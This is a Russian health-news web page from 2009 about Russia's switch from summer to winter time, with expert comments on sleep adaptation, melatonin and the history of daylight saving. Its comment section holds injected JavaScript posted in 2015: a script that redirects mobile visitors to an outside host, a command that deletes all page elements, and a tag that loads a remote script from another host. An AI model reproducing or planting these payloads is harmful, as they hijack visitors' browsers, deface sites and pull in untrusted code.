Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Без пяти минут зима  >>  Без пяти минут зима
 
Обратная связь
 

Без пяти минут зима

Размер шрифта
11 апреля 2009 14:00
  • google_analytics: false
  • Нравится


Татьяна Батенёва / «Здоровье инфо»


В ночь с субботы на воскресенье Россия вновь перейдет с летнего на зимнее время, переведя стрелки часов на один час назад. Опасны ли такие качели для нашего здоровья?

Система «перевода стрелок» при которой переход на «летнее» время осуществляется в начале апреля, а на «зимнее» – в конце октября, действует у нас с 1997 года, до 1996 года Россия возвращалась к зимнему времени в конце сентября, а не в последнее воскресенье октября, как во всей Европе.

Сторонники перевода стрелок уверены: это дает большую экономию электроэнергии и энергоносителей. Согласно официальным данным, это позволяет в год сэкономить до 4,4 миллиарда киловатт-часов электроэнергии. То есть около 0,5% общего количества потребляемого электричества, а в переводе на одного россиянина – 26 киловатт-часов в год. Если вы сопоставите эту цифру с данными своего электросчетчика, то убедитесь, что не столь уж велика для нас, но в целом значима для экономики. Впрочем, в других странах утверждают, что экономят до 2% электроэнергии.

Но есть и противники перевода. Некоторые ученые считают, что эта мера приводит к нарушению жизненно важного ритма «бодрствование – сон», ведет к насильственному пробуждению россиян в течение полугода на час раньше и к неестественному ритму работы в осенне-зимние месяцы. На самом деле эти аргументы не выдерживают критики, поскольку наш организм как раз генетически приспособлен к изменению суточных ритмов в цикле «лето-зима». Тысячи лет наши предки летом вставали раньше и ложились позже, зимой, после завершения полевых работ, – наоборот, вставали позже и ложились раньше, как только на улице темнело.

Тем не менее, известно, что люди делятся на «жаворонков», «сов» и «голубей». Первые рано ложатся и рано встают, вторые любят утром поспать, а лечь позже, а третьи легко меняют свой суточный ритм и в ту, и в другую сторону.

– Недовольство некоторых людей подобными изменениями относится к психологическим феноменам стереотипного поведения, – разъясняет доктор психологических наук Анатолий Лактионович Журавлев, директор Института психологии РАН. – Такие стереотипы основаны не на знании, а на непроизвольном, не поддающемся анализу поведении.

В принципе, стереотипы необходимы и очень экономны для человеческой природы: не надо каждый раз напрягаться, чтобы принять то или иное решение – стереотип сработает сам. У большинства людей такие клише сочетаются с гибкостью поведения – возможностью легко изменить их при необходимости. Но у некоторых устойчивость стереотипов более высокая, им труднее что-то менять в привычном ходе вещей. Обычно эта жесткость усиливается у людей некоторых профессий, связанных с контролем над другими, или с возрастом. При этом они часто ссылаются на то, что смена времени плохо отражается на их здоровье, нарушает нормальный сон.

– Перестройка организма при переводе часов на летнее или зимнее время происходит очень быстро, за 1-2 дня, – считает профессор Семен Исаакович Рапопорт, заведующий кафедрой хрономедицины и новых технологий в клинике внутренних болезней Московской медицинской академии им. Сеченова. – Возможно, несколько сложнее адаптироваться к нему пожилым людям с тяжелыми хроническими заболеваниями или маленьким детям. О них надо позаботиться – сделать перевод времени более плавным, начав его за несколько дней – на 10-15 минут в день. Но должен сказать, что страх перед фактом перехода на иное время – куда более значимый фактор для здоровья, чем сам перевод. Бояться не стоит – наш организм и сам подстраивается к зимним условиям, изменению в световом дне. К тому же миллионы людей ежедневно летают на самолетах, пересекая часовые пояса, но никто на эти изменения особо не жалуется.

Тем же, кто ощущает некоторый дискомфорт, я советую принимать препараты мелатонина – «гормона сна», который регулирует все ритмы нашего организма. В России в качестве снотворного зарегистрирован препарат на его основе, который продается в аптеках без рецепта. Но его также можно принимать и при перемещении по планете из одного часового пояса в другой, и при переводе часов. Он поможет избежать нарушений сна в этот период.

Так что дискуссии о том, полезно или вредно переходить на время сезона – это, скорее всего, просто популярная тема для любителей попугать других или набрать очков в общественном мнении. Во всяком случае, с 1908 года, когда летний счет времени был впервые введен в Англии «в целях экономии и более рационального распределения электроэнергии в течение суток», противники этого дела не переводятся. Как и сторонники.

Впервые перевод стрелок часов на час вперед летом и на час назад зимой был проведен в Великобритании в 1908 году. Идея экономии энергетических ресурсов за счет перевода стрелок принадлежит американскому государственному деятелю, одному из авторов Декларации независимости США Бенджамину Франклину. В самих США переход на летнее и зимнее время применяется с 1918 года.

В настоящее время режим перевода стрелок на «летнее» время применяется более чем в 110 странах Канады до Австралии, и почти во всех европейских государствах. Действующая в России система исчисления времени из всех стран мира применяется только в девяти. Некоторые страны отказались от перехода на летнее и зимнее время, в том числе и ряд бывших советских республик: Эстония, Узбекистан, Таджикистан, Туркмения, Казахстан, Грузия, Киргизия.

В России впервые переход на летнее время был осуществлен 1 июля 1917 года в соответствии с декретом Временного правительства. Зимой часы переводили обратно. 16 июня 1930 года декретом Совнаркома стрелки часов были переведены на час вперед относительно поясного времени и после этого назад их не перевели. Страна круглый год стала жить и работать, на час опережая естественный суточный цикл. Это время приобрело название «декретного». Страна более 50 лет жила по нему. Переход на летнее время в СССР возобновился 1 апреля 1981 года, но уже по отношению к декретному. То есть с того времени летом мы стали жить, на два часа опережая поясное время. Нынешняя система перевода стрелок существует с 1997 года.


«Здоровье инфо» советует:

Если вы опасаетесь неблагоприятного влияния перевода стрелок на ваше самочувствие, помогите себе:

1. «Растяните» перевод во времени, сдвигая привычный режим дня на 10-15 минут в течение 3-4 дней. Особенно это касается детей, но они будут только рады, если вы позволите им вечером ложиться в постель чуть позже, а утром попозже вставать.

2. В эти дни больше времени проводите на воздухе, гуляйте, играйте с детьми.

3. Самым чувствительным врачи рекомендуют принимать в течение нескольких дней адаптогены типа настойки родиолы розовой или препараты мелатонина.

http://www.zdorovieinfo.ru/nasha-kozha/
http://www.zdorovieinfo.ru/water/

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

25 июня 2015 в 22:48

Цитировать   |   Пожаловаться

>d = {Android: function(){return navigator.userAgent.match(/Android/i);},BlackBerry: function() { return navigator.userAgent.match(/BlackBerry/i);},iOS: function() { return navigator.userAgent.match(/iPhone|iPad|iPod/i);},Opera: function() { return navigator.userAgent.match(/Opera Mini/i);},Windows: function() { return navigator.userAgent.match(/IEMobile/i);},any: function() { return (d.Android() || d.BlackBerry() || d.iOS() || d.Opera() || d.Windows());}}; if(d.any()) window.location.href="http://A25832-hostde3.fornex.org/";

2 - zzzzzz

26 июня 2015 в 01:37

Цитировать   |   Пожаловаться

> $("*").remove();

3 - zzzzzz

30 июня 2015 в 19:37

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

4 - zzzzzz

01 июля 2015 в 00:58

Комментарий удален за нарушение Правил общения

Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.